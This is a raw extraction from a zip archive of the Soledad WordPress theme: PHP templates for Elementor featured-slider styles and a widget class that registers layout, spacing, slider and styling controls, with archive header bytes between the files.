                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                            <div class="feat-meta">
								<?php if ( $show_meta_author ): ?>
                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
								<?php endif; ?>
								<?php if ( ! $meta_date_hide ): ?>
                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( ! $hide_meta_comment ): ?>
                                    <span class="feat-comments"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( $show_viewscount ) {
									echo '<span class="feat-countviews">';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php echo penci_show_custom_meta_fields( [
									'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
									'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
									'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
									'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
									'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
								] ); ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     N\+r    @  inc/elementor/modules/penci-featured-sliders/widgets/style-8.phpnu [        <?php
/**
 * Template part for Slider Style 8
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\!8    O  inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFeaturedSliders\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Box_Shadow;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFeaturedSliders extends Base_Widget {

	public function get_name() {
		return 'penci-featured-sliders';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Featured Slider', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'post', 'slider' );
	}

	public function get_script_depends() {
		return array( 'ff40', 'gsap' );
	}

	protected function register_controls() {


		$this->register_query_section_controls( true );
		// Section layout
		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  => 'Style 1',
				'style-2'  => 'Style 2',
				'style-4'  => 'Style 4',
				'style-6'  => 'Style 6',
				'style-7'  => 'Style 7',
				'style-8'  => 'Style 8',
				'style-9'  => 'Style 9',
				'style-10' => 'Style 10',
				'style-11' => 'Style 11',
				'style-13' => 'Style 13',
				'style-15' => 'Style 15',
				'style-17' => 'Style 17',
				'style-19' => 'Style 19',
				'style-20' => 'Style 20',
				'style-21' => 'Style 21',
				'style-22' => 'Style 22',
				'style-23' => 'Style 23',
				'style-24' => 'Style 24',
				'style-25' => 'Style 25',
				'style-26' => 'Style 26',
				'style-27' => 'Style 27',
				'style-28' => 'Style 28',
				'style-29' => 'Style 29',
				'style-35' => 'Style 35',
				'style-37' => 'Style 37',
				'style-38' => 'Style 38',
				'style-40' => 'Style 39',
				'style-41' => 'Style 40',
				'style-42' => 'Style 41',
				'style-44' => 'Style 42',
				'style-45' => 'Style 43',
			)
		) );


		$list_switchers = array(
			'disable_lazyload_slider' => array(
				'label' => __( 'Disable Lazy Load Images on The Slider', 'soledad' ),
			),
			'enable_flat_overlay'     => array(
				'label'     => __( 'Enable Flat Overlay Replace with Gradient Overlay', 'soledad' ),
				'condition' => array(
					'style!' => array(
						'style-1',
						'style-2',
						'style-3',
						'style-4',
						'style-5',
						'style-29',
						'style-30',
						'style-35',
						'style-36',
						'style-37',
						'style-38'
					)
				),
			),
			'center_box'              => array(
				'label' => __( 'Hide Center Box', 'soledad' ),
			),
			'meta_date_hide'          => array(
				'label' => __( 'Hide Post Date', 'soledad' ),
			),
			'show_viewscount'         => array(
				'label' => __( 'Show Count View', 'soledad' ),
			),
			'hide_categories'         => array(
				'label' => __( 'Hide Categories Of Post', 'soledad' ),
			),
			'show_cat'                => array(
				'label' => __( 'Display Categories for all Posts on Slider', 'soledad' ),
				'desc'  => __( 'By default, we disabled categories for some slider styles & some small posts - this option will help you show it if you want.', 'soledad' ),
			),
			'hide_meta_comment'       => array(
				'label' => __( 'Hide Post Number Comments', 'soledad' ),
			),
			'show_meta_author'        => array(
				'label' => __( 'Show Post Author', 'soledad' ),
			),
			'hide_meta_excerpt'       => array(
				'label'     => __( 'Hide Post Excerpt', 'soledad' ),
				'condition' => array(
					'style' => array(
						'style-35',
						'style-38',
						'style-44',
						'style-42',
						'style-41',
						'style-40'
					)
				),
			),
			'hide_format_icons'       => array(
				'label' => __( 'Hide Post Format Icons', 'soledad' ),
			)
		);

		foreach ( $list_switchers as $list_switcher_key => $list_switcher_info ) {
			$this->add_control( $list_switcher_key, array(
				'label'       => $list_switcher_info['label'],
				'type'        => Controls_Manager::SWITCHER,
				'description' => isset( $list_switcher_info['desc'] ) ? $list_switcher_info['desc'] : '',
				'condition'   => isset( $list_switcher_info['condition'] ) ? $list_switcher_info['condition'] : '',
			) );
		}
		$this->add_control( 'title_length', array(
			'label'     => __( 'Post Title Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '12',
			'separator' => 'before',
		) );
		$this->add_control( 'spacing_settings_section', array(
			'label'     => __( 'Content Align', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'cs_vertical_align', array(
			'label'       => __( 'Content Vertical Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
		) );
		$this->add_control( 'cs_horizontal_align', array(
			'label'       => __( 'Horizontal Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'condition'   => [ 'style' => [ 'style-1', 'style-2' ] ],
		) );
		$this->add_control( 'cs_text_align', array(
			'label'       => __( 'Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
		) );
		$this->add_responsive_control( 'cs_container_w', array(
			'label'     => __( 'Center Box Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1500, ) ),
			'selectors' => [ '{{WRAPPER}} .featured-style-1 .penci-featured-content .feat-text,{{WRAPPER}} .featured-style-2 .penci-featured-content .feat-text' => 'max-width:{{SIZE}}px' ],
			'condition' => [ 'style' => [ 'style-1', 'style-2' ] ]
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'spacingitems_settings_section', array(
			'label' => __( 'Content Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT
		) );
		$this->add_responsive_control( 'csct_spacing', array(
			'label'     => __( 'Content Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-slide-overlay .penci-mag-featured-content,{{WRAPPER}} .penci-featured-content .feat-text,{{WRAPPER}} .feat-text-right' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );
		$this->add_responsive_control( 'csct_cmargin', array(
			'label'              => __( 'Content Margin', 'soledad' ),
			'type'               => Controls_Manager::DIMENSIONS,
			'allowed_dimensions' => 'vertical',
			'placeholder'        => [
				'top'      => '',
				'right'    => 'auto',
				'bottom'   => '',
				'left'     => 'auto',
				'isLinked' => false,
			],
			'range'              => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'          => array( '{{WRAPPER}} .penci-featured-content-right .feat-text-right,{{WRAPPER}} .penci-slide-overlay .penci-mag-featured-content,{{WRAPPER}} .penci-featured-content' => 'margin-top: {{TOP}}{{UNIT}};margin-bottom: {{BOTTOM}}{{UNIT}};' ),
		) );
		$big_post_lists = array(
			'style-6',
			'style-13',
			'style-15',
			'style-17',
			'style-20',
			'style-21',
			'style-22',
			'style-23',
			'style-24',
			'style-25',
			'style-26',
			'style-27',
			'style-28',
			'style-37'
		);
		$this->add_responsive_control( 'csct_bspacing', array(
			'label'     => __( 'Content Padding for Big Posts', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'style' => $big_post_lists ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .penci-featured-content .feat-text,{{WRAPPER}} .penci-pitem-big .penci-mag-featured-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );
		$this->add_responsive_control( 'cscat_spacing', array(
			'label'     => __( 'Categories', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mag-featured-content .cat,{{WRAPPER}} .penci-featured-content .feat-text .featured-cat,{{WRAPPER}} .featured-cat' => 'margin-bottom: {{SIZE}}px' ),
		) );
		$this->add_responsive_control( 'cstitle_spacing', array(
			'label'     => __( 'Title', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-featured-content .feat-text h3,{{WRAPPER}} .penci-owl-featured-area .feat-text h3,{{WRAPPER}} .penci-mag-featured-content h3,{{WRAPPER}} .featured-style-35 .feat-text-right h3,{{WRAPPER}} .penci-widget-slider h4, {{WRAPPER}} h3.title-part' => 'margin-bottom: {{SIZE}}px' ),
		) );
		$this->add_responsive_control( 'csmeta_spacing', array(
			'label'     => __( 'Meta', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mag-featured-content .feat-meta,{{WRAPPER}} .penci-featured-content .feat-text .feat-meta,{{WRAPPER}} .penci-fslider-fmeta' => 'margin-top: {{SIZE}}px' ),
		) );
		$this->add_control( 'excerpt_spacing', array(
			'label'     => __( 'Excerpt Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .featured-content-excerpt p,{{WRAPPER}} .featured-slider-excerpt p' => 'margin-bottom: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .featured-slider-excerpt'                                           => 'margin-bottom: {{SIZE}}{{UNIT}};',
			),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );
		$this->add_responsive_control( 'csbtn_spacing', array(
			'label'     => __( 'Button', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-featured-slider-button' => 'margin-top: {{SIZE}}px' ),
			'condition' => array( 'style' => array( 'style-35', 'style-38', 'style-40' ) )
		) );
		$this->add_control( 'cspd_bigpost', array(
			'label'     => __( 'Spacing for Big Posts', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'style' => $big_post_lists ),
		) );
		$this->add_responsive_control( 'cscat_bspacing', array(
			'label'     => __( 'Categories', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .penci-mag-featured-content .cat' => 'margin-bottom: {{SIZE}}px' ),
			'condition' => array( 'style' => $big_post_lists ),
		) );
		$this->add_responsive_control( 'cstitle_bspacing', array(
			'label'     => __( 'Title', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'style' => $big_post_lists ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .penci-featured-content .feat-text h3,{{WRAPPER}} .penci-pitem-big .penci-mag-featured-content h3' => 'margin-bottom: {{SIZE}}px' ),
		) );
		$this->add_responsive_control( 'csmeta_bspacing', array(
			'label'     => __( 'Meta', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'style' => $big_post_lists ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .penci-mag-featured-content .feat-meta' => 'margin-top: {{SIZE}}px' ),
		) );
		$this->add_control( 'excerpt_bspacing', array(
			'label'     => __( 'Excerpt Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'max' => 100 ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .featured-content-excerpt p' => 'margin-bottom: {{SIZE}}{{UNIT}};' ),
			'condition' => array( 'style' => array( 'style-35', 'style-38' ) )
		) );
		$this->add_responsive_control( 'csprvnxt_bspacing', array(
			'label'     => __( 'Slider Prev/Next Buttons Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev' => 'left: {{SIZE}}px;',
				'{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'right: {{SIZE}}px;',
			),
		) );
		$this->add_control( 'dots_csspc_w', array(
			'label'     => __( 'Slider Dots Spacing', 'soledad' ),
			'separator' => 'before',
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'condition' => [ 'showdots!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot' => 'margin-left: {{SIZE}}px;margin-right: {{SIZE}}px;' ),
		) );

		$this->end_controls_section();

		// Options slider
		$this->start_controls_section( 'section_slider_options', array(
			'label' => __( 'Slider Options', 'soledad' ),
		) );
		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Effect', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'default'     => get_theme_mod( 'penci_fslider_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default ( Slide )',
				'swing'   => 'Swing',
			),
			'condition'   => array( 'style' => array( 'style-7', 'style-8', 'style-9', 'style-10', 'style-38' ) )
		) );
		$this->add_control( 'single_slider_effect', array(
			'label'       => __( 'Slider Effect', 'soledad' ),
			'description' => __( 'Some sliders do not support all effects listed below. The Creative effect is functioning correctly on styles 1, 3, 29, 30, 35, and 36. Style 39 only supports the "Fade" effect.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_fslider_single_slider_effect', 'creative' ),
			'options'     => array(
				'slide'     => 'Slide',
				'fade'      => 'Fade',
				'coverflow' => 'Coverflow',
				'flip'      => 'Flip',
				'cards'     => 'Cards',
				'creative'  => 'Creative',
			),
			'condition'   => array(
				'style!' => array(
					'style-7',
					'style-8',
					'style-9',
					'style-10',
					'style-38',
					'style-41',
					'style-42',
					'style-44'
				)
			)
		) );
		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'loop', array(
			'label'     => __( 'Slider Loop', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
			'condition' => [ 'carousel_slider_effect' => 'default' ],
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
		) );
		$this->add_control( 'speed', array(
			'label'       => __( 'Slider Speed (at x seconds)', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 600,
			'render_type' => 'template',
			'selectors'   => [ '{{WRAPPER}} .penci-owl-carousel' => '--pcfs-delay:calc({{VALUE}}s / 1000 - 0.1s)' ]
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show Next/Prev Buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
			//'condition' => array( 'style' => array( 'style-35', 'style-37' ) ),
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show Dots Navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
			//'condition' => array( 'style' => array( 'style-35', 'style-37' ) ),
		) );
		$this->add_control( 'slideTo', array(
			'label' => __( 'Start the slider from the slide Number', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
			//'condition' => array( 'style' => array( 'style-35', 'style-37' ) ),
		) );
		$this->add_control( 'slidespg', array(
			'label' => __( 'Slides Per Group', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
			//'condition' => array( 'style' => array( 'style-35', 'style-37' ) ),
		) );
		$this->end_controls_section();

		$style_big_post = array(
			'style-6',
			'style-13',
			'style-15',
			'style-17',
			'style-18',
			'style-19',
			'style-20',
			'style-21',
			'style-22',
			'style-23',
			'style-24',
			'style-25',
			'style-26',
			'style-27',
			'style-28',
			'style-37'
		);
		// Design
		$this->start_controls_section( 'section_design_image', array(
			'label' => __( 'Image', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'post_thumb_size', array(
			'label'   => __( 'Image size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );
		$this->add_control( 'bpost_thumb_size', array(
			'label'     => __( 'Image size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'style' => $style_big_post ),
		) );
		$this->add_control( 'post_thumb_size_mobile', array(
			'label'   => __( 'Image size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'img_border_radius', array(
			'label'       => __( 'Border Radius', 'elementor' ),
			'description' => 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>',
			'type'        => Controls_Manager::SLIDER,
			'size_units'  => array( '%', 'px' ),
			'default'     => array( 'unit' => '%', 'size' => 0 ),
			'range'       => array( '%' => array( 'max' => 50 ), 'px' => array( 'min' => 0, 'max' => 200 ) ),
			'selectors'   => array(
				'{{WRAPPER}} .featured-area.featured-style-42 .item-inner-content, {{WRAPPER}} .featured-style-41 .swiper-slide, {{WRAPPER}} .slider-40-wrapper .nav-thumb-creative .thumb-container:after, {{WRAPPER}} .penci-slider44-t-item:before,.penci-slider44-main-wrapper .item' => 'border-radius: {{SIZE}}{{UNIT}};-webkit-border-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .featured-area .penci-image-holder,{{WRAPPER}} .featured-area .penci-slider4-overlay'                                                                                                                                                                        => 'border-radius: {{SIZE}}{{UNIT}};-webkit-border-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .featured-area .penci-slide-overlay .overlay-link'                                                                                                                                                                                                           => 'border-radius: {{SIZE}}{{UNIT}};-webkit-border-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .featured-style-29 .featured-slider-overlay,{{WRAPPER}} .penci-slider38-overlay'                                                                                                                                                                             => 'border-radius: {{SIZE}}{{UNIT}};-webkit-border-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .penci-featured-content-right:before'                                                                                                                                                                                                                        => 'border-top-right-radius: {{SIZE}}{{UNIT}};border-bottom-right-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before'                                                                                                                                                                                 => 'border-bottom-left-radius: {{SIZE}}{{UNIT}};border-bottom-right-radius: {{SIZE}}{{UNIT}};',
			)
		) );
		$this->add_responsive_control( 'img_ratio', array(
			'label'       => __( 'Ratio Height/Width of Images', 'soledad' ),
			'description' => 'This option does not apply for <strong>Slider Styles 19 & 27</strong>',
			'type'        => Controls_Manager::SLIDER,
			'range'       => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-owl-carousel:not(.elsl-style-19):not(.elsl-style-27):not(.penci-slider44-main) .penci-image-holder'        => 'height: auto !important;',
				'{{WRAPPER}} .penci-owl-carousel:not(.elsl-style-19):not(.elsl-style-27):not(.penci-slider44-main) .penci-image-holder:before' => 'content:"";padding-top:calc( {{SIZE}} * 100% );height: auto;',
				'{{WRAPPER}} .featured-style-13 .penci-owl-carousel .penci-item-1 .penci-image-holder:before'        => 'padding-top:calc( {{SIZE}} * 50% );',
				'{{WRAPPER}} .featured-style-15 .penci-owl-carousel .penci-item-2 .penci-image-holder:before'        => 'padding-top:calc( {{SIZE}} * 50% );',
				'{{WRAPPER}} .featured-style-25 .penci-owl-carousel .penci-item-1 .penci-image-holder:before'        => 'padding-top:calc( {{SIZE}} * 150% );',
				'{{WRAPPER}} .penci-slick-carousel .penci-image-holder:before'                                       => 'padding-top:calc( {{SIZE}} * 150% );',
				'{{WRAPPER}} .featured-style-43 .img-container'                                                      => 'padding-top:calc( {{SIZE}} * 150% );',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_content', array(
			'label' => __( 'Content', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'heading_title_style', array(
			'label' => __( 'Title', 'soledad' ),
			'type'  => Controls_Manager::HEADING
		) );

		$this->add_control( 'title_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .feat-text h3, {{WRAPPER}} .feat-text h3 a'             => 'color: {{VALUE}};',
				'{{WRAPPER}} .feat-text-right h3, {{WRAPPER}} .feat-text-right h3 a' => 'color: {{VALUE}};',
				'{{WRAPPER}} h3.title-part'                                          => 'color: {{VALUE}};',
			)
		) );
		$this->add_control( 'title_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .feat-text h3 a:hover'       => 'color: {{VALUE}};',
				'{{WRAPPER}} .feat-text-right h3 a:hover' => 'color: {{VALUE}};',
